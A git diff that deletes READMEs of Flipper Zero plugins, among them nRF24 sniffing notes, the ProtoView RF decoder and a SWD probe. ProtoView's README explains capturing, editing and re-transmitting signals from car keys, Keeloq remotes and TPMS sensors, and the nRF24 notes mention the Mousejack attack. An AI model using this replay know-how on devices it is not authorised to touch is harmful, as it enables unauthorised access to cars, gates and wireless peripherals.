-OK - Π²Ρ…ΠΎΠ΄ Π² Ρ€Π΅ΠΆΠΈΠΌ просмотра адрСсов ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ дСкодирования Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ESB ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΈ CRC.
-ΠŸΡ€ΠΈ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (PCF) - ΠΏΠ΅Ρ€Π²Ρ‹Π΅ 2 Ρ†ΠΈΡ„Ρ€Ρ‹ - Π΄Π»ΠΈΠ½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π² hex ΠΈΠ»ΠΈ 33, Ссли Π΄Π»ΠΈΠ½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π° фиксирована
-3-я Ρ†ΠΈΡ„Ρ€Π° - PID (2bit) << 1 + Ρ„Π»Π°Π³ NO_ACK
-Если Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Ρ€Π΅ΠΆΠΈΠΌ дСкодирования CRC, Ρ‚ΠΎ ΠΏΠΎ всСму ΠΏΠ°ΠΊΠ΅Ρ‚Ρƒ ищСтся подходящая CRC ΠΈ подчСркиваСтся Π² спискС, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ вмСсто ":" выводится "=" послС Π½ΠΎΠΌΠ΅Ρ€Π° записи Π² Π±ΡƒΡ„Π΅Ρ€Π΅
-
- -
- -
- -
-
-Π‘Ρ…Π΅ΠΌΠ° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ модуля nRF24l01:
-Big board:
- -Gerber for full board (https://raw.githubusercontent.com/vad7/nrf24scan/master/Gerber_PCB_Flipper%20Zero%20nRF24%20board_v1_0.zip)
-Easyeda source (https://oshwlab.com/vad7/flipper-zero-nrf24-board). -

-Mini board:
- -
- -
-Gerber for mini board with 5V - 3.3V converter LM1117-3.3 (https://raw.githubusercontent.com/vad7/nrf24scan/master/Gerber_PCB_Flipper%20Zero%20nRF24%20board%20mini_v1_0.zip)
-Easyeda source (https://oshwlab.com/vad7/flipper-zero-nrf24-board_copy). -
-
-_________________________________________________________________________________ -
-
-Settings file (default addr.txt) format:
- -Rate: 0/1/2 - rate in Mbps (=0.25/1/2)
-Ch: 0..125 - default channel
-ESB: 0/1 (1 - Enhanced ShockBurst)
-DPL: 0/1 (1 - Dynamic Payload Length)
-CRC: 0/1/2 (CRC length)
-Payload: 1..32 (bytes)
-P0: address pipe #0 in hex (max 5 bytes, LSB last)
-P1: address pipe #1 in hex (max 5 bytes, LSB last)
-P2: address pipe #2, LSB in hex (1 byte)
-P3: address pipe #3, LSB in hex (1 byte)
-P4: address pipe #4, LSB in hex (1 byte)
-P5: address pipe #5, LSB in hex (1 byte)
-captured data in raw format, first byte = address # 0..5, Payload len if DPL
-... up to MAX_LOG_RECORDS-1
-
-In the list of the received:
-Press OK - send the packet,
-Long press OK - view addresses.
-
-Decode the Packet Control Field and check CRC (long press OK in the list and then press '<' / '>').
-ESB (Enhanced Shockburst) option must be turned off. -Press '>' to decode CRC.
-1 - pipe #
-2 - Payload length (for valide packet must be 1..20 or 33 hex)
-3 - PID (2 bit) + NO_ACK (1 bit)
-
-
-
-## PinOut from from NoComp/Frog - - -# NRF24 pinout by UberGuidoZ -2/A7 on FZ goes to MOSI/6 on nrf24l01
-3/A6 on FZ goes to MISO/7 on nrf24l01
-4/A4 on FZ goes to CSN/4 on nrf24l01
-5/B3 on FZ goes to SCK/5 on nrf24l01
-6/B2 on FZ goes to CE/3 on nrf24l01
-8/GND on FZ goes to GND/1 on nrf24l01
-9/3V3 on FZ goes to VCC/2 on nrf24l01
-IRQ/8 is left disconnected on nrf24l01 -![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png) -If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines! I've not tried the Plus model so it may have a bigger need for a cap. Otherwise, I haven't had any major issues. Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.) I learned if you wanna get fancy, include a 0.1 uF cap in parallel. The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. Β―\\\_(ツ)_/Β― -![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg) - diff --git a/applications/plugins/nrf24scan/Screenshot-1.png b/applications/plugins/nrf24scan/Screenshot-1.png deleted file mode 100644 index 61ca892d8..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-1.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-2.png b/applications/plugins/nrf24scan/Screenshot-2.png deleted file mode 100644 index 0e3ebf5b2..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-2.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-3.png b/applications/plugins/nrf24scan/Screenshot-3.png deleted file mode 100644 index 651052350..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-3.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-4.png b/applications/plugins/nrf24scan/Screenshot-4.png deleted file mode 100644 index 6351cdd3f..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-4.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-5.png b/applications/plugins/nrf24scan/Screenshot-5.png deleted file mode 100644 index d9e3173a2..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-5.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-6.png b/applications/plugins/nrf24scan/Screenshot-6.png deleted file mode 100644 index 7c9ecfc34..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-6.png and /dev/null differ diff --git a/applications/plugins/nrf24scan/Screenshot-7.png b/applications/plugins/nrf24scan/Screenshot-7.png deleted file mode 100644 index 579a88e06..000000000 Binary files a/applications/plugins/nrf24scan/Screenshot-7.png and /dev/null differ diff --git a/applications/plugins/ocarina/README.md b/applications/plugins/ocarina/README.md deleted file mode 100644 index 1fcfd00fa..000000000 --- a/applications/plugins/ocarina/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# flipperzero-ocarina -A basic Ocarina (of Time) for the Flipper Zero. - -Controls are the same as the N64 version of the Ocarina of Time, the Ok button takes the place of the A button diff --git a/applications/plugins/passgen/README.md b/applications/plugins/passgen/README.md deleted file mode 100644 index fbeb41680..000000000 --- a/applications/plugins/passgen/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# flipper_passgen -This is a simple Password Generator plugin (**fap**) for the [Flipper Zero](https://www.flipperzero.one). - -![preview](images/preview.png) \ No newline at end of file diff --git a/applications/plugins/protoview/README.md b/applications/plugins/protoview/README.md deleted file mode 100644 index 7523913ca..000000000 --- a/applications/plugins/protoview/README.md +++ /dev/null @@ -1,289 +0,0 @@ -ProtoView is a digital signal detection, visualization, editing and reply tool for the [Flipper Zero](https://flipperzero.one/). The Flipper default application, called Subghz, is able to identify certain RF protocols, but when the exact protocol is not implemented (and there are many undocumented and unimplemented ones, such as the ones in use in TPMS systems, car keys and many others), the curious person is left wondering what the device is sending at all. Using ProtoView she or he can visualize the high and low pulses like in the example image below (showing a TPMS signal produced by a Renault tire): - -![ProtoView screenshot raw signal](/images/protoview_1.jpg) - -This is often enough to make an initial idea about the encoding used -and if the selected modulation is correct. For example, in the signal above -you can see a set of regular pulses and gaps used for synchronization, and then -a sequence of bits encoded in [Manchester](https://en.wikipedia.org/wiki/Manchester_code) line code. If you study these things for five minutes, you'll find yourself able to decode the bits with naked eyes. - -## Decoding capabilities - -Other than showing the raw signal, ProtoView is able to decode a few interesting protocols: - -* TPMS sensors: Renault, Toyota, Schrader, Citroen, Ford. -* Microchip HSC200/300/301 Keeloq protocol. -* Oregon thermometer protocol 2. -* PT2262, SC5262 based remotes. -* ... more will be implemented soon, hopefully. Send PRs :) - -![ProtoView screenshot Renault TPMS data](/images/protoview_2.jpg) - -The app implements a framework that makes adding and experimenting with new -protocols very simple. Check the `protocols` directory to see how the -API works, or read the full documentation at the end of this `README` file. -The gist of it is that the decoder receives the signal already converted into -a bitmap, where each bit represents a short pulse duration. Then there are -functions to seek specific sync/preamble sequences inside the bitmap, to decode -from different line codes, to compute checksums and so forth. - -## Signals transmission capabilities - -Once ProtoView decodes a given message, it is able to *resample* it -in pulses and gaps of the theoretical duration, and send the signal again -via the Flipper TX capabilities. The captured signal can be sent -to different frequencies and modulations than the ones it was captured -from. - -For selected protocols, that implement the message creation methods, -ProtoView is also able to edit the message received, modify fields, -and finally re-detect the new produced signal and resend it. Signals -can also be produced from scratch, by setting all the fields to appropriate -values. - -## A well-documented app for the Flipper - -The secondary goal of ProtoView is to provide a well-documented application for the Flipper (even if ProtoView is a pretty atypical application: it doesn't make use of the standard widgets and other abstractions provided by the framework). -Most apps dealing with the *subghz subsystem* of the Flipper (the abstraction used to work with the [CC1101 chip](https://www.ti.com/product/CC1101)) tend to be complicated and completely undocumented. -Unfortunately, this is also true for the firmware of the device. -It's a shame, because especially in the case of code that talks with hardware peripherals there are tons of assumptions and hard-gained lessons that can [only be captured by comments and are in the code only implicitly](http://antirez.com/news/124). - -However, the Flipper firmware source code is well written even if it -lacks comments and documentation (and sometimes makes use of abstractions more convoluted than needed), so it is possible to make some ideas of how things work just grepping inside. In order to develop this application, I ended reading most parts of the firmware of the device. - -## Detection algorithm - -In order to detect and show unknown signals, the application attempts to understand if the samples obtained by the Flipper API (a series of pulses that are high -or low, and with different duration in microseconds) look like belonging to -a legitimate signal, and aren't just noise. - -We can't make assumptions about -the encoding and the data rate of the communication, so we use a simple -but relatively effective algorithm. As we check the signal, we try to detect -long parts of it that are composed of pulses roughly classifiable into -a maximum of three different duration classes, plus or minus a given percentage. -Most encodings are somewhat self-clocked, so they tend to have just two or -three classes of pulse lengths. - -However, often, pulses of the same theoretical -length have slightly different lengths in the case of high and low level -(RF on or off), so the detector classifies them separately for robustness. - -Once the raw signal is detected, the registered protocol decoders are called -against it, in the hope some of the decoders will make sense of the signal. - -# Usage - -In the main screen, the application shows the longest coherent signal detected so far. The user can switch to other views pressing the LEFT and RIGHT keys. The BACK key will return back to the main screen. Long pressing BACK will quit the application. - -## Main raw signal screen - -* A long press of the OK button resets the current signal, in order to capture a new one. -* The UP and DOWN buttons change the scale. Default is 100us per pixel, but it will be adapted to the signal just captured. -* A long press of the LEFT and RIGHT keys will pan the signal, to see what was transmitted before/after the current shown range. -* A short press to OK will recenter the signal and set the scale back to the default for the specific pulse duration detected. - -Under the detected sequence, you will see a small triangle marking a -specific sample. This mark means that the sequence looked coherent up -to that point, and starting from there it could be just noise. However the -signal decoders will not get just up to this point, but will get more: -sometimes the low level detector can't make sense of a signal that the -protocol-specific decoder can understand fully. - -If the protocol is decoded, the bottom-left corner of the screen -will show the name of the protocol, and going in the next screen -with the right arrow will show information about the decoded signal. - -In the bottom-right corner the application displays an amount of time -in microseconds. This is the average length of the shortest pulse length -detected among the three classes. Usually the *data rate* of the protocol -is something like `1000000/this-number*2`, but it depends on the encoding -and could actually be `1000000/this-number*N` with `N > 2` (here 1000000 -is the number of microseconds in one second, and N is the number of clock -cycles needed to represent a bit). - -## Info screen - -If a signal was detected, the info view will show the details about the signal. If the signal has more data that a single screen can fit, pressing OK will show the next fields. Pressing DOWN will go to a sub-view with an oscilloscope-alike representation of the signal, from there you can: - -1. Resend the signal, by pressing OK. -2. Save the signal as `.sub` file, by long pressing OK. - -When resending, you can select a different frequency and modulation if you -wish. - -## Frequency and modulation screen - -In this view you can just set the frequency and modulation you want to use. -There are special modulations for TPMS signals: they need an higher data -rate. - -* Many cheap remotes (gate openers, remotes, ...) are on the 433.92Mhz or nearby and use OOK modulation. -* Weather stations are often too in the 433.92Mhz OOK. -* For car keys, try 433.92 OOK650 and 868.35 Mhz in OOK or 2FSK. -* For TPMS try 433.92 in TPMS1 or TPMS2 modulations (FSK and OOK custom modulations optimized for these signals, that have a relatively high data rate). - -## Signal creator - -In this view, you can do two things: - -1. Select one of the protocols supporting message creation, and create a signal from scratch. -2. If there is already a detected signal, you can modify the signal. - -This is how it works: - -1. Select one of the protocols (the one of the currently detected signal will be already provided as default, if any, and if it supports message creation). -2. Fill the fields. Use LEFT and RIGHT to change the values of integers, or just press OK and enter the new value with the Fliper keyboard widget. -3. When you are done, long press OK to build the message. Then press BACK in order to see it. -4. Go to the INFO view, and then DOWN to the signal sending/saving subview in order to send or save it. - -## Direct sampling screen - -This final screen shows in real time the high and low level that the Flipper -RF chip, the CC1101, is receiving. This will makes very easy to understand -if a given frequency is targeted by something other than noise. This mode is -fun to watch, resembling an old CRT TV set. - -# Installing the app from source - -* Download the Flipper Zero dev kit and build it: -``` -mkdir -p ~/flipperZero/official/ -cd ~/flipperZero/official/ -git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git ./ -./fbt -``` -* Copy this application folder in `official/applications_user`. -* Connect your Flipper via USB. -* Build and install with: `./fbt launch_app APPSRC=protoview`. - -# Installing the binary file (no build needed) - -Drop the `protoview.fap` file you can find in the `binaries` folder into the -following Flipper Zero location: - - /ext/apps/Tools - -The `ext` part means that we are in the SD card. So if you don't want -to use the Android (or other) application to upload the file, -you can just take out the SD card, insert it in your computer, -copy the fine into `apps/Tools`, and that's it. - -# Protocols decoders API - -Writing a protocol decoder is not hard, and requires to write three -different methods. - -1. `decode()`. This is mandatory, and is used in order to turn a known signal into a set of fields containing certain informations. For instance for a thermometer sending data via RF, a raw message will be decoded into fields like temperature, humidity, station ID and so forth. -2. `get_fields()`. Optional, only needed if the protocol supports creating and editing signals. This method just returns the fields names, types and defaults. The app will use this list in order to allow the user to set values. The populated fields will be passed to the `build_message()` method later. -3. `build_message()`. This method gets a set of fields representing the parameters of the protocol, as set by the user, and will create a low level signal composed of pulses and gaps of specific durations. - -## `decode()` method - - bool decode(uint8_t *bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo *info); - -The method gets a bitmap `bits` long `numbytes` bytes but actually containing `bumbits` valid bits. Each bit represents a pulse of gap of the duration of the shortest time detected in the protocol (this is often called *te*, in the RF protocols jargon). So, for instance, if a signal is composed of pulses and gaps of around 500 and 1000 microseconds, each bit in the bitmap will represent 500 microseconds. - -Continuing with the example above, if the received signal was composed of a 1000 microseconds gap, then a 500 microsecond pulse, then a 500 microsecond gap and finally a 1000 microseconds pulse, its bitmap representation will be: - - 001011 - -To access the bitmap, the decoder can use the following API: - - bool bitmap_get(uint8_t *b, uint32_t blen, uint32_t bitpos); - -The `blen` parameter will be set to what the decode method gets -as `numbytes`, and is used to prevent overflows. This way if `bitpos` -is out of range, nothing bad happens. - -There are function to match and seek specific patterns inside the signal: - - bool bitmap_match_bits(uint8_t *b, uint32_t blen, uint32_t bitpos, const char *bits); - uint32_t bitmap_seek_bits(uint8_t *b, uint32_t blen, uint32_t startpos, uint32_t maxbits, const char *bits); - -Finally, there are functions to convert from different line codes: - - uint32_t convert_from_line_code(uint8_t *buf, uint64_t buflen, uint8_t *bits, uint32_t len, uint32_t offset, const char *zero_pattern, const char *one_pattern); - uint32_t convert_from_diff_manchester(uint8_t *buf, uint64_t buflen, uint8_t *bits, uint32_t len, uint32_t off, bool previous); - -This method can also access the short pulse duration by inspecting the -`info->short_pulse_dur` field (in microseconds). - -Please check the `b4b1.c` file for an easy to understand example of the decoder implementation. - -If the decoder actually detected a message, it will return `true` and will return a set of fields, like thata: - - fieldset_add_bytes(info->fieldset,"id",d,5); - fieldset_add_uint(info->fieldset,"button",d[2]&0xf,4); - -## `get_fields()` method. - - static void get_fields(ProtoViewFieldSet *fieldset); - -This method will be basically a copy of the final part of `decode()`, as -it also needs to return the set of fields this protocol is composed of. -However instead of returning the values of an actual decoded message, it -will just provide their default values for the signal creator view. - -Note that the `build_message()` method is guaranteed to receive the -same exact fields in the same exact order. - -## `build_message()` method. - - void build_message(RawSamplesBuffer *samples, ProtoViewFieldSet *fs); - -This method is responsible of creating a signal from scratch, by -appending gaps and pulses of the specific duration into `samples` -using the following API: - - raw_samples_add(RawSamplesBuffer *samples, bool level, uint32_t duration); - -Level can be true (pules) or false (gap). Duration is in microseconds. -The method receives a set of fields in `fs`. Each field is accessible -directly accessing `fs->fields[... field index ...]`, where the field -index is 0, 1, 2, ... in the same order as `get_fields()` returned the -fields. - -For now, you can access the fields in the raw way, by getting the -values directly from the data structure representing each field: - -``` -typedef struct { - ProtoViewFieldType type; - uint32_t len; // Depends on type: - // Bits for integers (signed,unsigned,binary,hex). - // Number of characters for strings. - // Number of nibbles for bytes (1 for each 4 bits). - // Number of digits after dot for floats. - char *name; // Field name. - union { - char *str; // String type. - int64_t value; // Signed integer type. - uint64_t uvalue; // Unsigned integer type. - uint8_t *bytes; // Raw bytes type. - float fvalue; // Float type. - }; -} ProtoViewField; - -``` - -However later the app will likely provide a set of macros to do it -in a more future-proof way. - -# License - -The code is released under the BSD license. - -# Disclaimer - -This application is only provided as an educational tool. The author is not liable in case the application is used to reverse engineer protocols protected by IP or for any other illegal purpose. - -# Credits - -A big thank you to the RTL433 author, [Benjamin Larsson](https://github.com/merbanan). I used the code and tools he developed in many ways: -* To capture TPMS data with rtl433 and save to a file, to later play the IQ files and speedup the development. -* As a sourve of documentation for protocols. -* As an awesome way to visualize and understand protocols, via [these great web tools](https://triq.org/). -* To have tons of fun with RTLSDR in general, now and in the past. - -The application icon was designed by Stefano Liuzzo. diff --git a/applications/plugins/protoview/images/ProtoViewSignal.jpg b/applications/plugins/protoview/images/ProtoViewSignal.jpg deleted file mode 100644 index 2c1938e7b..000000000 Binary files a/applications/plugins/protoview/images/ProtoViewSignal.jpg and /dev/null differ diff --git a/applications/plugins/protoview/images/protoview_1.jpg b/applications/plugins/protoview/images/protoview_1.jpg deleted file mode 100644 index 10d9d6ec5..000000000 Binary files a/applications/plugins/protoview/images/protoview_1.jpg and /dev/null differ diff --git a/applications/plugins/protoview/images/protoview_2.jpg b/applications/plugins/protoview/images/protoview_2.jpg deleted file mode 100644 index 256029770..000000000 Binary files a/applications/plugins/protoview/images/protoview_2.jpg and /dev/null differ diff --git a/applications/plugins/rc2014_coleco/README.md b/applications/plugins/rc2014_coleco/README.md deleted file mode 100644 index 0667860e7..000000000 --- a/applications/plugins/rc2014_coleco/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# RC2014 ColecoVision Controller for Flipper Zero - -A Flipper Zero application and [RC2014] module allowing the Flipper to be used as a controller for ColecoVision games on -the [RC2014]. - -![ui](ui.png) - -## Running ColecoVision Games on the RC2014 - -A full tutorial is out of scope here, but briefly, you will need a [RC2014] with J. B. Langston's [TMS9918A Video Card] -and [SN76489 Sound Card], as well as some way to launch ColecoVision ROMs. - -Note that if you're using the standard pageable ROM module (e.g. if you're using the stock Pro kit), you will need to -[modify it](https://github.com/jblang/TMS9918A/issues/12) in order for the TMS9918A module to work on the ColecoVision -port addresses. - -## Hardware Setup - -The [interface](interface) directory contains Eagle schematics for a RC2014 module that handles the controller port -addressing for two players, breaking out the 8 data line inputs as well as the mode select line. This can actually be -used for different controller implementations and is slightly more flexible than the actual [ColecoVision] spec. - -To use this with the Flipper Zero and this application, a GPIO board is needed to provide hardware multiplexing for the -data lines. A schematic for the GPIO board will be added to this repository soon. - -## Building the FAP - -1. Clone the [flipperzero-firmware] repository. -2. Create a symbolic link in `applications_user` named `coleco`, pointing to this repository. -3. Compile with `./fbt fap_coleco`. -4. Copy `build/f7-firmware-D/.extapps/coleco.fap` to `apps/Misc` on the SD card (directly or using [qFlipper]). - -[RC2014]: https://rc2014.co.uk/ -[TMS9918A Video Card]: https://github.com/jblang/TMS9918A -[SN76489 Sound Card]: https://github.com/jblang/SN76489 -[ColecoVision]: http://www.atarihq.com/danb/files/CV-Tech.txt -[flipperzero-firmware]: https://github.com/flipperdevices/flipperzero-firmware -[qFlipper]: https://flipperzero.one/update diff --git a/applications/plugins/rc2014_coleco/ui.png b/applications/plugins/rc2014_coleco/ui.png deleted file mode 100644 index 97c0ddc21..000000000 Binary files a/applications/plugins/rc2014_coleco/ui.png and /dev/null differ diff --git a/applications/plugins/rubiks_cube_scrambler/README.md b/applications/plugins/rubiks_cube_scrambler/README.md deleted file mode 100644 index feddf06d6..000000000 --- a/applications/plugins/rubiks_cube_scrambler/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Rubik's Cube Scrambler FAP - -## Where to start? -Install the .fap file and put it in your apps folder - -## What does what? -The On/Off button toggles the vibration notification on and off. The "New" button generates a new scramble. The scramble letters correspond with the following moves: R = Right, L = Left, U = Up, D = Down, F = Front, B = Back. The number after the letter indicates how many times to turn that face. For example, R2 means to turn the right face twice. The ' symbol indicates a counter-clockwise turn. For example, R' means to turn the right face counter-clockwise once. - - - -# A special thanks to Tanish for their c scrambler example πŸ™ -https://github.com/TanishBhongade/RubiksCubeScrambler-C/ - diff --git a/applications/plugins/spi_mem_manager/tools/README.md b/applications/plugins/spi_mem_manager/tools/README.md deleted file mode 100644 index 91080941f..000000000 --- a/applications/plugins/spi_mem_manager/tools/README.md +++ /dev/null @@ -1,7 +0,0 @@ -This utility can convert nofeletru's UsbAsp-flash's chiplist.xml to C array - -Usage: -```bash - ./chiplist_convert.py chiplist/chiplist.xml - mv spi_mem_chip_arr.c ../lib/spi/spi_mem_chip_arr.c -``` diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute deleted file mode 160000 index 19153c723..000000000 --- a/applications/plugins/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 19153c72395c7d62efac425325b4c4c646e1fd3f diff --git a/applications/plugins/swd_probe/.gitignore b/applications/plugins/swd_probe/.gitignore deleted file mode 100644 index c6127b38c..000000000 --- a/applications/plugins/swd_probe/.gitignore +++ /dev/null @@ -1,52 +0,0 @@ -# Prerequisites -*.d - -# Object files -*.o -*.ko -*.obj -*.elf - -# Linker output -*.ilk -*.map -*.exp - -# Precompiled Headers -*.gch -*.pch - -# Libraries -*.lib -*.a -*.la -*.lo - -# Shared objects (inc. Windows DLLs) -*.dll -*.so -*.so.* -*.dylib - -# Executables -*.exe -*.out -*.app -*.i*86 -*.x86_64 -*.hex - -# Debug files -*.dSYM/ -*.su -*.idb -*.pdb - -# Kernel Module Compile Results -*.mod* -*.cmd -.tmp_versions/ -modules.order -Module.symvers -Mkfile.old -dkms.conf diff --git a/applications/plugins/swd_probe/README.md b/applications/plugins/swd_probe/README.md deleted file mode 100644 index df4dadcd0..000000000 --- a/applications/plugins/swd_probe/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# ARM SWD (Single Wire Debug) Probe - -Modern microcontrollers have support for the two wire debug interface SWD, which makes wiring a lot simpler. -When reverse engineering, finding these two pins is a los easier than with JTAG, where you had to wire up twice or more pins. However, finding the two pins is still a bit of work, which gets simplified even more with this application. - -This application tries to detect a valid SWD response on the wires you have picked and beeps when you have found the correct pins, showing the detected ID register and, more important, the SWD pinout. It doesn't matter which two pins you choose, just pick any two from the GPIOs on the breakout header. - -To achieve this, the application sends packets and scans the response on all pins and elaborates the pins within a few retries. Using some kind of bisect pattern reduces this number to a hand full of tries, yielding in a seemingly instant detection. - -For the user it is as simple as a continuity tester - wire up your two test needles (or accupuncture needles), connect the obvious GND pin and probe all test pads. -Now it depends on your bisect capabilities finding all pad combinations, how long it will take this time. - -https://cdn.discordapp.com/attachments/954430078882816021/1071603366741938176/20230205_022641.mp4 - -https://cdn.discordapp.com/attachments/1071712925171056690/1072306469057347594/qFlipper_2023-02-07_01-01-24.mp4 - -Discussion thread: https://discord.com/channels/740930220399525928/1071712925171056690 diff --git a/applications/plugins/tama_p1/README.md b/applications/plugins/tama_p1/README.md deleted file mode 100644 index cb58931cc..000000000 --- a/applications/plugins/tama_p1/README.md +++ /dev/null @@ -1,76 +0,0 @@ -Tama P1 Emulator for Flipper Zero -======================================= - -This is a tama P1 Emulator app for Flipper Zero, based on [TamaLIB](https://github.com/jcrona/tamalib/). - -![Alt Text](tama.gif) - -How to play ------------ -Create a `tama_p1` folder in your microSD card, and put the ROM as `rom.bin`. -Use a search engine to find the Tamagotchi ROM. There is a file named `tama.b`. -Rename this to `rom.bin`. - -*Controls in portrait mode are the same as landscape mode, but turned 90 degrees.* -- Left button is A. -- Down or OK is B. -- Right button is C. -- Up button takes you to the emulator menu. -- Hold the Back button to save and exit. - -![Alt Text](Screenshot1.png) -![Alt Text](Screenshot2.png) - -Building --------- -Move this folder into flippers `applications/plugins/tama_p1`. - - -Launching the app, directly from console to flipper: -``` -./fbt launch_app APPSRC=applications/plugins/tama_p1 -``` - -Run the following to compile icons: -``` -scripts/assets.py icons applications/plugins/tama_p1/icons applications/plugins/tama_p1/compiled -``` - -Note: you may also need to add `-Wno-unused-parameter` to `CCFLAGS` in -`site_cons/cc.scons` to suppress unused parameter errors in TamaLIB. - -Debugging ---------- -Using the serial script from [FlipperScripts](https://github.com/DroomOne/FlipperScripts/blob/main/serial_logger.py) -it is easy to add direct logging after running the application: -``` -`python .\serial_logger.py` - -`./fbt launch_app APPSRC=applications/plugins/tama_p1; python .\serial_logger.py` -``` -Alternatively, follow the directions here: https://flipper.atmanos.com/docs/debugging/viewing/ - -Implemented ------------ -- Menu options: - - Switch between portrait and landscape - - A+C shortcut (mute/change in-game time) - - Double / quadruple speed - -![Alt Text](Screenshot3.png) - -To-Do ------ -- Fix bugs: - - When not on 1x speed, after mashing buttons in quick succession, buttons stop responding for a few seconds. But the rom still runs. -- Stuff to do when bored: - - optimization and bug fixing (see above) - - add to this list - - portrait menu - - Add "loading bar" when saving - - "Advanced" settings - - saving and loading, multiple save states, with the date and time of of each save. - - Autosave and changing autosave frequency - - Save settings to /tama_p1/settings.txt - -![Alt Text](Screenshot4.png) diff --git a/applications/plugins/tama_p1/tama.gif b/applications/plugins/tama_p1/tama.gif deleted file mode 100644 index c41222260..000000000 Binary files a/applications/plugins/tama_p1/tama.gif and /dev/null differ diff --git a/applications/plugins/tama_p1/tamaIcon.png b/applications/plugins/tama_p1/tamaIcon.png deleted file mode 100644 index 1962b68ae..000000000 Binary files a/applications/plugins/tama_p1/tamaIcon.png and /dev/null differ diff --git a/applications/plugins/tama_p1/tamalib/README.md b/applications/plugins/tama_p1/tamalib/README.md deleted file mode 100644 index add42da1a..000000000 --- a/applications/plugins/tama_p1/tamalib/README.md +++ /dev/null @@ -1,64 +0,0 @@ -# TamaLIB - A hardware agnostic Tamagotchi P1 emulation library - - -## Synopsis - -TamaLib is a hardware agnostic Tamagotchi P1 emulation library built from scratch. It is self-contained and aims at running on any platform powerful enough, from microcontrollers (MCUs) to desktop computers, thus spreading virtual life across the digital world. - -So far, it has been successfully implemented on different platforms: -- Desktop computers (check out [TamaTool](https://github.com/jcrona/tamatool/) for more information) -- STM32F072 MCU based board (check out [MCUGotchi](https://github.com/jcrona/mcugotchi/) for more information). -- OpenTama which is an STM32L072 MCU based board (check out [OpenTama](https://github.com/Sparkr-tech/opentama) and [MCUGotchi](https://github.com/jcrona/mcugotchi/) for more information). -- Arduino UNO (check out [ArduinoGotchi](https://github.com/GaryZ88/ArduinoGotchi/) for more information). - -## Importing TamaLIB - -TamaLIB cannot be used as is. In order to create life on a specific target, you need to import all TamaLIB related __.c__ and __.h__ files in your project (for instance in a __lib__ subfolder), to create a __hal_types.h__ file using the template provided and to implement the __hal_t__ structure, that will act as an abstraction layer between TamaLIB and your OS or SDK (detailed information can be found in __hal.h__). This abstraction layer basically connects TamaLIB to your target's buttons, clock, audio and screen, while also defining the C types that TamaLIB should use to represent 4-bit, 5-bit, 8-bit, 12-bit, 13-bit and 32-bit variables. Once done, you will be able to call the TamaLIB API from your project. - - -## Using the TamaLIB API - -Basically: -``` -/* ... */ - -/* Register the HAL */ -tamalib_register_hal(&my_hal); - -/* ... */ - -/* Initialize TamaLIB */ -tamalib_init(my_program, my_breakpoints, 1000000); // my_breakpoints can be NULL, 1000000 means that timestamps will be expressed in us - -/* ... */ - -/* Enter TamaLIB's loop */ -tamalib_mainloop(); - -/* ... */ - -/* Release TamaLIB */ -tamalib_release(); - -/* ... */ -``` -Your main project should then forward any button input to TamaLIB using the `tamalib_set_button()` function. - -As an alternative to `tamalib_mainloop()`, you can call `tamalib_step()` directly if your execution flow requires something more complex than a simple mainloop. In that case, TamaLIB will neither call the HAL `handler()` function, nor the HAL `update_screen()` function by itslef. - - -## License - -TamaLIB is distributed under the GPLv2 license. See the LICENSE file for more information. - - -## Hardware information - -The Tamagotchi P1 is based on an -[E0C6S46 Epson MCU](https://download.epson-europe.com/pub/electronics-de/asmic/4bit/62family/technicalmanual/tm_6s46.pdf), -and runs at 32,768 kHz. Its LCD is 32x16 B/W pixels, with 8 icons. -To my knowledge, the ROM available online has been extracted from a high-res picture of a die. The ROM mask was clear enough to be optically read. The pictures can be seen [there](https://siliconpr0n.org/map/bandai/tamagotchi-v1/) (thx asterick for the link !). -I would love to see the same work done on a P2 and add support for it in TamaLIB/TamaTool ! - -__ -Copyright (C) 2021 Jean-Christophe Rona diff --git a/applications/plugins/text_viewer/README.md b/applications/plugins/text_viewer/README.md deleted file mode 100644 index cc41931be..000000000 --- a/applications/plugins/text_viewer/README.md +++ /dev/null @@ -1,9 +0,0 @@ -# flipper-zero-text-viewer - -Text Viewer application for Flipper Zero! - -A fork with a few changes from [QTRoS' hex viewer](https://github.com/QtRoS/flipper-zero-hex-viewer) to just display text without any hex byte representation - -![Text Viewer 